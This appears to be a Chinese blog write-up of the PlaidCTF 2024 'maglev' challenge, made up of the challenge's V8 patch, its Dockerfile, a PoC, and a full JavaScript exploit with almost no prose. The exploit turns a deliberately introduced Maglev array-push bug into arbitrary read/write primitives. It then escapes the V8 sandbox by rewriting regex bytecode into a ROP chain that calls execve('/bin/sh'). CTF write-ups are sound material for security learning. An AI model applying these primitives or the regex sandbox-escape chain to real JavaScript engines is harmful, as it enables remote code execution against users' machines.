pwn· 更新于 2025-03-14

PlaidCTF2024-maglev

PlaidCTF2024-maglev

diff --git a/src/d8/d8.cc b/src/d8/d8.cc
index 585c37b16e1..2dc9cec9d99 100644
--- a/src/d8/d8.cc
+++ b/src/d8/d8.cc
@@ -3303,6 +3303,7 @@ Local<FunctionTemplate> Shell::CreateNodeTemplates(
 
 Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) {
   Local<ObjectTemplate> global_template = ObjectTemplate::New(isolate);
+  if (/* DISABLES CODE */ (false)) {
   global_template->Set(Symbol::GetToStringTag(isolate),
                        String::NewFromUtf8Literal(isolate, "global"));
   global_template->Set(isolate, "version",
@@ -3325,8 +3326,10 @@ Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) {
                        FunctionTemplate::New(isolate, ReadLine));
   global_template->Set(isolate, "load",
                        FunctionTemplate::New(isolate, ExecuteFile));
+  }
   global_template->Set(isolate, "setTimeout",
                        FunctionTemplate::New(isolate, SetTimeout));
+  if (/* DISABLES CODE */ (false)) {
   // Some Emscripten-generated code tries to call 'quit', which in turn would
   // call C's exit(). This would lead to memory leaks, because there is no way
   // we can terminate cleanly then, so we need a way to hide 'quit'.
@@ -3350,7 +3353,7 @@ Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) {
     global_template->Set(isolate, "async_hooks",
                          Shell::CreateAsyncHookTemplate(isolate));
   }
-
+  }
   return global_template;
 }
 
diff --git a/src/maglev/maglev-graph-builder.cc b/src/maglev/maglev-graph-builder.cc
index 197dcba916b..aba8eb86354 100644
--- a/src/maglev/maglev-graph-builder.cc
+++ b/src/maglev/maglev-graph-builder.cc
@@ -6835,6 +6835,14 @@ ReduceResult MaglevGraphBuilder::TryReduceArrayPrototypePush(
   ValueNode* new_array_length_smi =
       AddNewNode<CheckedSmiIncrement>({old_array_length_smi});
 
+  ValueNode* length_field_smi;
+  GET_VALUE_OR_ABORT(length_field_smi,
+                     GetSmiValue(AddNewNode<LoadTaggedField>({receiver},
+                     JSArray::kLengthOffset)));
+  ValueNode* length_field = AddNewNode<UnsafeSmiUntag>({length_field_smi});
+  ValueNode* new_length_field_smi =
+      AddNewNode<CheckedSmiIncrement>({length_field_smi});
+
   ValueNode* elements_array = BuildLoadElements(receiver);
   ValueNode* elements_array_length =
       AddNewNode<UnsafeSmiUntag>({AddNewNode<LoadTaggedField>(
@@ -6849,17 +6857,16 @@ ReduceResult MaglevGraphBuilder::TryReduceArrayPrototypePush(
             {elements_array, receiver, old_array_length, elements_array_length},
             kind);
 
-    AddNewNode<StoreTaggedFieldNoWriteBarrier>({receiver, new_array_length_smi},
+    AddNewNode<StoreTaggedFieldNoWriteBarrier>({receiver, new_length_field_smi},
                                                JSArray::kLengthOffset);
 
     // Do the store
     if (IsDoubleElementsKind(kind)) {
       AddNewNode<StoreFixedDoubleArrayElement>(
-          {writable_elements_array, old_array_length, value});
+          {writable_elements_array, length_field, value});
     } else {
       DCHECK(IsSmiElementsKind(kind) || IsObjectElementsKind(kind));
-      BuildStoreFixedArrayElement(writable_elements_array, old_array_length,
-                                  value);
+      BuildStoreFixedArrayElement(writable_elements_array, length_field, value);
     }
     return ReduceResult::Done();
   };
@@ -6872,7 +6879,7 @@ ReduceResult MaglevGraphBuilder::TryReduceArrayPrototypePush(
     sub_graph.Bind(&*do_return);
   }
   RecordKnownProperty(receiver, broker()->length_string(), new_array_length_smi,
-                      false, compiler::AccessMode::kStore);
+                      false, compiler::AccessMode::kLoad);
   return new_array_length_smi;
 }
 
@@ -7042,7 +7049,7 @@ ReduceResult MaglevGraphBuilder::TryReduceArrayPrototypePop(
   sub_graph.Bind(&*do_return);
   RecordKnownProperty(receiver, broker()->length_string(),
                       sub_graph.get(var_new_array_length), false,
-                      compiler::AccessMode::kStore);
+                      compiler::AccessMode::kLoad);
   return sub_graph.get(var_value);
 }
 
FROM ubuntu@sha256:aa772c98400ef833586d1d517d3e8de670f7e712bf581ce6053165081773259d

ENV DEBIAN_FRONTEND=noninteractive
RUN apt-get update && apt-get install -yq build-essential git wget python3 lsb-release binutils binutils-aarch64-linux-gnu binutils-arm-linux-gnueabihf binutils-mips64el-linux-gnuabi64 binutils-mipsel-linux-gnu bison bzip2 cdbs curl dbus-x11 devscripts dpkg-dev elfutils fakeroot flex git-core gperf lib32z1 libasound2 libasound2-dev libatk1.0-0 libatspi2.0-0 libatspi2.0-dev libbluetooth-dev libbrlapi-dev libbrlapi0.8 libbz2-1.0 libbz2-dev libc6 libc6-dev libcairo2 libcairo2-dev libcap-dev libcap2 libcgi-session-perl libcups2 libcups2-dev libcurl4-gnutls-dev libdrm-dev libdrm2 libegl1 libelf-dev libevdev-dev libevdev2 libexpat1 libffi-dev libffi8 libfontconfig1 libfreetype6 libgbm-dev libgbm1 libgl1 libglib2.0-0 libglib2.0-dev libglu1-mesa-dev libgtk-3-0 libgtk-3-dev libinput-dev libinput10 libjpeg-dev libkrb5-dev libnspr4 libnspr4-dev libnss3 libnss3-dev libpam0g libpam0g-dev libpango-1.0-0 libpangocairo-1.0-0 libpci-dev libpci3 libpcre3 libpixman-1-0 libpng16-16 libpulse-dev libpulse0 libsctp-dev libspeechd-dev libspeechd2 libsqlite3-0 libsqlite3-dev libssl-dev libstdc++6 libsystemd-dev libudev-dev libudev1 libuuid1 libva-dev libvulkan-dev libvulkan1 libwayland-egl1 libwayland-egl1-mesa libwww-perl libx11-6 libx11-xcb1 libxau6 libxcb1 libxcomposite1 libxcursor1 libxdamage1 libxdmcp6 libxext6 libxfixes3 libxi6 libxinerama1 libxkbcommon-dev libxrandr2 libxrender1 libxshmfence-dev libxslt1-dev libxss-dev libxt-dev libxtst-dev libxtst6 lighttpd locales mesa-common-dev openbox p7zip patch perl pkg-config rpm ruby subversion uuid-dev wdiff x11-utils xcompmgr xvfb xz-utils zip zlib1g zstd

WORKDIR /build
RUN git clone https://chromium.googlesource.com/chromium/tools/depot_tools.git
ENV PATH="/build/depot_tools:$PATH"
RUN gclient

WORKDIR /build/v8
COPY diff.patch .
RUN fetch v8 && cd /build/v8/v8 && git checkout 8fd9b6c4481babb973bba94decd8e2614669b5e9 && gclient sync -D && patch -p1 < ../diff.patch && tools/dev/gm.py x64.release

CMD echo "All done."

漏洞处

image-20250306165208864

POC

let cor_arr;
let arr = [];
let arr2 = arr;
function f() {
    cor_arr = [arr, arr];
    arr2.push(1.1);
    arr.push(1.1);
    arr.push(1.1);
    arr.push(1.1);
    arr.push(1.1);
    arr.push(1.1);
    arr.push(1.1);
    arr.push(1.1);
    arr.push(1.1);
    arr.push(1.1);
    arr.push(1.1);
    arr.push(1.1);
    arr.push(1.1);
    arr.push(1.1);
    arr.push(1.1);
    arr.push(1.1);
    arr2.push(7.7);
    arr2.push(7.7);
    arr2.push(7.7);
    arr2.push(7.7);
    arr2.push(7.7);
    arr2.push(3.4540680395689801e-308);
    arr2.push(6.1075495069397581e-309);
    arr2.push(8.4879838501182713e-314);
    arr2.push(0.1);
}
  
% PrepareFunctionForOptimization(f)
f();
f();
% OptimizeMaglevOnNextCall(f);

// for (var j = 0; j < 10000; j++) {
//     f();
// }

arr = [];
arr.push(1.1);

arr2 = arr;
let float_arr = [1.1, 2.2, 3.3, 4.4];
let obj_array = [float_arr, float_arr];
f();


let cor = cor_arr[0];

// % DebugPrint(cor);

function addrr(addr) {
    cor[23] = p64(10, addr);
    return u64(float_arr[0]);
}

function addrrl(addr) {
    cor[23] = p64(10, addr);
    return u64_l(float_arr[0]);
}

function addrw(addr, valh, vall) {
    cor[23] = p64(10, addr + 1);
    float_arr[0] = p64(valh, vall);
}

function addrwl(addr, val) {
    cor[23] = p64(10, addr + 1);
    float_arr[0] = p64(0, val);
}

沙箱逃逸

https://github.com/rycbar77/V8-Sandbox-Escape-via-Regexp

exp

const buf = new ArrayBuffer(8);
const dv = new DataView(buf);

function p64() {
    if (arguments.length === 1) {
        // dv.setUint32(0, arguments[0] & 0xFFFFFFFF, true);
        // dv.setUint32(0x4, parseInt(BigInt(arguments[0]) >> BigInt(32)), true);
        dv.setBigUint64(0, BigInt(arguments[0]), true);
        return dv.getFloat64(0, true);
    } else if (arguments.length === 2) {
        dv.setUint32(0, arguments[1], true);
        dv.setUint32(0x4, arguments[0], true);
        return dv.getFloat64(0, true);
    }
}

function u64(val) {
    dv.setFloat64(0, val, true);
    return dv.getBigUint64(0, true);
}

function u64_l(val) {
    dv.setFloat64(0, val, true);
    return dv.getUint32(0, true);
}

function u64_h(val) {
    dv.setFloat64(0, val, true);
    return dv.getUint32(0x4, true);
}

function gc_l() {
    log("major gc");
    new ArrayBuffer(0x7fe00000);
}

function gc_s() {
    log("minor gc");
    for (let i = 0; i < 0x10; i++) {
        new Array(0x1000000);
    }
}

function sleep(ms) {
    return new Promise((resolve) => setTimeout(resolve, ms));
}

function hex(x) {
    return x.toString(16);
}

function printhex() {
    if (arguments.length === 1) {
        console.log(`\u001b[32m[+]Hex: \u001b[0m0x${arguments[0].toString(16)}`);
    } else if (arguments.length === 2) {
        console.log(`\u001b[32m[+]${arguments[0]}: \u001b[0m0x${arguments[1].toString(16)}`);
    }
}

function log() {
    output = `\u001b[32m[+]${arguments[0]}\u001b[0m`;
    for (let i = 1; i < arguments.length; i++) {
        output += arguments[i];
    }
    console.log(output);
}

function warn() {
    output = `\u001b[31m[+]${arguments[0]}\u001b[0m`;
    for (let i = 1; i < arguments.length; i++) {
        output += arguments[i];
    }
    console.log(output);
}

function farrdump(float_arr, start, end) {
    for (let i = start; i < end; i++) {
        printhex(`arr[${i}]`, u64(float_arr[i]));
    }
}

function iarrdump(int_arr, start, end) {
    for (let i = start; i < end; i++) {
        printhex(`arr[${i}]`, int_arr[i]);
    }
}


let cor_arr;
let arr = [];
let arr2 = arr;
function f() {
    cor_arr = [arr, arr];
    arr2.push(1.1);
    arr.push(1.1);
    arr.push(1.1);
    arr.push(1.1);
    arr.push(1.1);
    arr.push(1.1);
    arr.push(1.1);
    arr.push(1.1);
    arr.push(1.1);
    arr.push(1.1);
    arr.push(1.1);
    arr.push(1.1);
    arr.push(1.1);
    arr.push(1.1);
    arr.push(1.1);
    arr.push(1.1);
    arr2.push(7.7);
    arr2.push(7.7);
    arr2.push(7.7);
    arr2.push(7.7);
    arr2.push(7.7);
    arr2.push(3.4540680395689801e-308);
    arr2.push(6.1075495069397581e-309);
    arr2.push(8.4879838501182713e-314);
    arr2.push(0.1);
}
  
% PrepareFunctionForOptimization(f)
f();
f();
% OptimizeMaglevOnNextCall(f);

// for (var j = 0; j < 10000; j++) {
//     f();
// }

arr = [];
arr.push(1.1);

arr2 = arr;
let float_arr = [1.1, 2.2, 3.3, 4.4];
let obj_array = [float_arr, float_arr];
f();


let cor = cor_arr[0];

// % DebugPrint(cor);

function addrr(addr) {
    cor[23] = p64(10, addr);
    return u64(float_arr[0]);
}

function addrrl(addr) {
    cor[23] = p64(10, addr);
    return u64_l(float_arr[0]);
}

function addrw(addr, valh, vall) {
    cor[23] = p64(10, addr + 1);
    float_arr[0] = p64(valh, vall);
}

function addrwl(addr, val) {
    cor[23] = p64(10, addr + 1);
    float_arr[0] = p64(0, val);
}

// printhex(addrr(0x46791));

let s = "aaaa"

var regex = /[a-zA-Z0-9]*[a-zA-Z0-9]*[a-zA-Z0-9]*[a-zA-Z0-9]*[a-zA-Z0-9]*[a-zA-Z0-9]*/g;
obj_array[0] = regex;

log("regex");
// log("obj");
// % DebugPrint(obj_array);

let addr_regex = u64_l(cor[25]);
let data_addr = addrrl(addr_regex + 0x4);
printhex("addr_regex", addr_regex);
printhex("data_addr", data_addr);

regex.exec(s);
// % DebugPrint(regex);
// % SystemBreak();
let bytecode = addrrl(data_addr + 0x14);
printhex("bytecode", bytecode);

addrw(data_addr + 0x2f - 8, 0, 2);

let arr1 = [];

function push_reg(idx) {
    arr1.push((idx << 8) & 0xffffff00 | 0x03);
}

function pop_reg(idx) {
    arr1.push((idx << 8) & 0xffffff00 | 0x0c);
}

function mov_reg1_to_reg2(idx1, idx2) {
    push_reg(idx1);
    pop_reg(idx2);
}

function advance_reg(idx, value) {
    arr1.push((idx << 8) & 0xffffff00 | 0x09);
    arr1.push(value);
}

function set_reg(idx, value) {
    arr1.push((idx << 8) & 0xffffff00 | 0x08);
    arr1.push(value);
}

function success() {
    arr1.push(0x0000000e);
    if (arr1.length % 2 === 1) {
        arr1.push(0x0000000e);
    }
}

let idx = 0x52;
function add_gadget(addr) {
    mov_reg1_to_reg2(3, 5);
    advance_reg(5, addr);
    mov_reg1_to_reg2(5, idx++);
    mov_reg1_to_reg2(4, idx++);
}

mov_reg1_to_reg2(0x53, 4);
mov_reg1_to_reg2(0x52, 3);
advance_reg(3, 0xFE9BBCE0);

add_gadget(0x11ab9fa); //pop rsi; ret;
add_gadget(0x2644000);
add_gadget(0x1082d5e); //pop rdx; ret;
set_reg(idx++, 0x6e69622f);
set_reg(idx++, 0x68732f);
add_gadget(0x1636fa3); //mov qword ptr [rsi], rdx; ret;

add_gadget(0x14b44dc); //pop rdi; ret;
add_gadget(0x2644000);

add_gadget(0x11ab9fa); //pop rsi; ret;
set_reg(idx++, 0);
set_reg(idx++, 0);
add_gadget(0x1082d5e); //pop rdx; ret;
set_reg(idx++, 0);
set_reg(idx++, 0);
add_gadget(0x11091b0); //pop rax; ret;
set_reg(idx++, 0x3b);
set_reg(idx++, 0);
add_gadget(0x108492d); //syscall;

// add_gadget(0x11091b0); //pop rax; ret;
// add_gadget(0x14b44dc); //pop rdi; ret;
// add_gadget(0x11ab9fa); //pop rsi; ret;
// add_gadget(0x1082d5e); //pop rdx; ret;
// add_gadget(0x108492d); //syscall;
// add_gadget(0x1636fa3); //mov qword ptr [rsi], rdx; ret;

success();
cor[23] = p64(50, bytecode + 0x7 + 1);
// % DebugPrint(float_arr);

let arr1idx = 0;
let flarridx = 0;
for (; arr1idx < arr1.length - 1; flarridx += 1) {
    float_arr[flarridx] = p64(arr1[arr1idx + 1], arr1[arr1idx]);
    arr1idx += 2;
}

// % SystemBreak();
regex.exec(s);

// % SystemBreak();

image-20250306165557487

评论
NETEASE歌单
未选择曲目
0:000:00